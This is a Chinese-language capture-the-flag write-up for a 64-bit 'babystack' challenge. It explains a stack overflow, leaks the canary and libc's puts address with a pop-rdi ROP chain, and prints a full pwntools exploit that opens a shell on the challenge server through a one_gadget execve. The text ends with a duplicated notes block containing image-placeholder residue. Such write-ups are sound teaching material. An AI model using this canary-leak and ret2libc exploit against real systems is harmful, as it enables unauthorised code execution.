pwn1-厦门邀请赛
一、分析文件
该文件为64位,开启canary保护,开启数据执行保护
canary:泄露canary的值绕过保护
NX:数据执行保护, 系统把需要写入数据的内存标识为可写,把保存指令的内存标识为可执行,但是不会有一块内存被同时表示为可写和可执行的。构造ROP链。
二、ida大法查看文件伪代码
分析
-
可见s处申请0x80内存,但在24行读入0x100的数据,造成栈溢出。
-
19行处有puts函数可以泄露canary的值
-
canary位于ebp+8h处
三、确定文件行为
四、构造exp
(一)泄露canary的值
payload = 0x88 * b'a'
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
(二)获取libc的加载地址
查看main函数地址:
查看pop rdi gadget地址:
64位文件采用寄存器传参!
泄露put实际地址
payload = 0x88 * b'a' + p64(canary) + b'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','3')
real_puts = u64(p.recv(6).ljust(8,b'\x00'))
(三)构造最终payload获取shell
#coding = UTF-8
from pwn import *
p = remote( '61.147.171.105', 54040)
context.log_level = 'debug'
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400908
prdi_addr = 0x400a93
payload = 0x88 * b'a'
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','2')
p.recvuntil('a\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
##3
payload = 0x88 * b'a' + p64(canary) + b'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','3')
real_puts = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = real_puts - libc.symbols['puts']
execve = libc_base + 0x45216
###
print('execve=',execve)
payload = b'A' * 0x88 + p64(canary) + b'B' * 8 + p64(execve)
p.sendlineafter('>> ','1')
p.sendline(payload)
p.sendlineafter('>> ','3')
p.interactive()
获得shell,拿到flag
注意点:
- 在调试过程中,错把p.sendlineafter(‘>> ‘,‘1’) 写为p.sendlineafter(’>>’,‘1’)导致exp失效
存中…(img-gQaCv3jv-1669801009198)]
注意点:
- 在调试过程中,错把p.sendlineafter(‘>> ‘,‘1’) 写为p.sendlineafter(’>>’,‘1’)导致exp失效
- 函数调用采用plt表中的地址或者symblo